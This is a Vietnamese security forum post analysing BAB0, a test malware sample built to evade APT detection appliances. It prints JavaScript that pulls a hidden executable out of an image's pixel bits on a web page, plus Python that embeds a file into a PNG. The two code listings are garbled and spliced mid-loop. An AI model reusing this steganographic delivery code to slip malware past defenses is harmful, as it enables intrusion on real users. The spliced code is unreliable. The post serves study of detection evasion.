BAB0 – Tàng hình trước các hệ thống phòng chống tấn công có chủ đích

Xuân Đình

Banned
24/01/2015
1
9 bài viết
BAB0 – Tàng hình trước các hệ thống phòng chống tấn công có chủ đích
Chưa đầy một tháng trước. MRG Effitas và CrySyS Lab công bố một thông tin gây hoang mang các nhà sản xuất sản phẩm phát hiện tấn công có chủ đích (APT attack detection) như SourceFire (Cisco), Checkpoint, Damballa, Fidelis XPS, FireEye, Fortinet, LastLine, WildFire (Palo Alto), Deep Discovery (Trend Micro) và Websense. Hai ngày trước họ đã công bố các mẫu thử của mình. Chúng ta sẽ lượt sơ qua sự kiện này và xem xét mẫu thử của họ làm những gì.
Tấn công có chủ đích và hệ thống phát hiện tấn công có chủ đích là gì?

Tấn công có chủ đích (target attack/APT attack - advanced persistent threats) là thể loại tấn công mà mục tiêu là người dùng máy tính (nhân viên của công ty, cá nhân, chính trị gia…) được kẻ tấn công điều tra kĩ lưỡng và có những thủ đoạn tấn công lâu dài, khó phòng chống.
Các cuộc tấn công có chủ đích thường sử dụng các mã khai thác lỗi phần mềm và các phần mềm độc hại để nắm quyền kiểm soát lâu dài đối tượng bị tấn công.
Dựa vào những tính chất trên, các hệ thống chống tấn công có chủ đích chủ yếu hoạt động dựa trên: sự phát hiện dấu hiệu mã khai thác và phần mềm độc hại, phân tích dữ liệu mạng và phát hiện dấu hiệu liên lạc của phần mềm độc hại với trung tâm điều khiển1.
bab0 và cách nó qua mặt các hệ thống phòng thủ

Được giới thiệu trong một báo cáo mới đây chưa đầy 1 tháng2. bab0 có kết quả kiểm tra là qua mặt tất cả các hệ thống phòng chống tấn công có chủ đích tốt nhất trên thị trường. Mới đây nhóm tác giả, họ đã công bố một mẫu của bab03, với những thiết kế bên trong như sau:

  • Không dùng một mã khai thác nào.
  • Phần mềm độc hại - để kiểm soát đối tượng - được chuyển đến nạn nhân thông qua một trang web giản đơn. Phần mềm này được nhúng trong một tệp ảnh bằng thủ thuật ẩn mình (Steganography). Không một hệ thống/phần mềm chống virus nào phát hiện điều này.
  • Phần mềm độc hại có cơ chế liên lạc với trung tâm điều khiển, cũng bằng cách ẩn các dữ liệu cần lưu chuyển qua các dữ liệu như là người dùng đang duyệt một diễn đàn.
Khám phá bab0

Bây giờ, chúng ta sẽ xem xét kĩ hơn về mặt bên trong của mẫu bab0 này. Đầu tiên là phần vận chuyển phần mềm điều khiển. Phần này là một trang HTML với một ảnh nền chứa phần mềm độc hại và một nhóm mã javascript để trích phần mềm đó. Giao diện của trang HTML này như hình dưới
save.png

Mã nguồn tệp index.html rất đơn giản:

Mã:
          Babo                    [IMG]hide.png[/IMG]
Phần quan trọng nhất có lẽ là phần trích xuất tệp tin từ tệp ảnh nền trong image.js:

Mã:
// Getting the pixel data  var canvas = document.createElement('canvas');  canvas.width = buttonWidth;  canvas.height = buttonHeight;  var context = canvas.getContext("2d");  context.fillStyle = 'rgba(255,255,255,255)';  context.fillRect(0, 0, buttonWidth, buttonHeight);  context.drawImage(img, 0, 0);  var pixels = context.getImageData(0, 0, buttonWidth, buttonHeight).data;  // Stego  var bits = [];  for (var i = 0; i < pixels.length; i++) {    if (i % 4 != 3) {      bits.push(pixels[i] & 1);    }  }  var data = new ArrayBuffer((bits.length / 8) | 0);  var bytes = new Uint8Array(data);  for (var j = 0; j < bits.length / 8; j++) {    var byte = 0;    for (var k = 0; k < 8; k++) {      byte += bits[j*8+k]  len(pixelList)*3:  print 'image is too small, expected ' + ctext/3 + ' pixels'  return 0 ##loop through the message and hide each bit n = 0 for i in range(len(pixelList)):  print n, len(ctext)  if n >= len(ctext):   break  ##grab the pixel  pixel = pixelList[i]  ##hide the bit in the pixel  pixelList[i] = hideBit(pixel[0], ctext[i*3+0]), hideBit(pixel[1],ctext[i*3+1]), hideBit(pixel[2], ctext[i*3+2])  print pixelList[i]  n += 3  #raw_input() ##overwrite the new pixels onto the picture img.putdata(pixelList) try:  img.save(outPath, "PNG") except IOError:  print "Unable to write back"def main(): imagePath = 'test.png' outPath = 'hide.png' message = open('file').read() key = 'BB' message = hex(len(message))[2:].rjust(8, '0').decode('hex')[::-1] + message hideMessage(imagePath, outPath, message, key) img1 = Image.open(imagePath) img2 = Image.open(outPath) print imagePath, img1.format, "%dx%d" % img1.size, img1.mode print outPath, img2.format, "%dx%d" % img2.size, img2.mode##Starts executing heremain()
Sau khi trích xuất ra thì tệp tin được đưa ra dưới dạng tải về, các chi tiết này không có gì quan trọng được thể hiện ở trong tệp image.js
Phần mã độc mà nhóm trên cung cấp chỉ là một giả lập đơn giản, chủ yếu là thử nghiệm cách thức giao tiếp thông qua cách giả là một giao tiếp bình thường tới một diễn đàn là trung tâm điều khiển. Tôi có chạy trong cuckoo sandbox và kết quả ở đây - https://malwr.com/analysis/ZmYyYTVjNzU2YmIyNGFkMzg2MzRiMDRkOGI4ZTEyOTY/ . Đồng thời có đính kèm tệp tin chứa các dữ liệu mạng khi chạy bab0 ở đây - http://www.mediafire.com/download/hba7hpx84pass3w/babo.pcapng

  1. Detecting APT Activity with Network Traffic Analysis
  2. An independent test of APT attack detection appliances
  3. Anti-APT product test sample “BAB0” is shared for security experts



Read more: http://www.haclong.info/2015/02/bab0-tang-hinh-truoc-cac-he-thong-phong.html#ixzz3TLmjWktW
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  • Thích
Reactions: Sugi_b3o
cám ơn bài viết bổ ích :D :D
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
cảm ơn bài viết của bạn :D
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên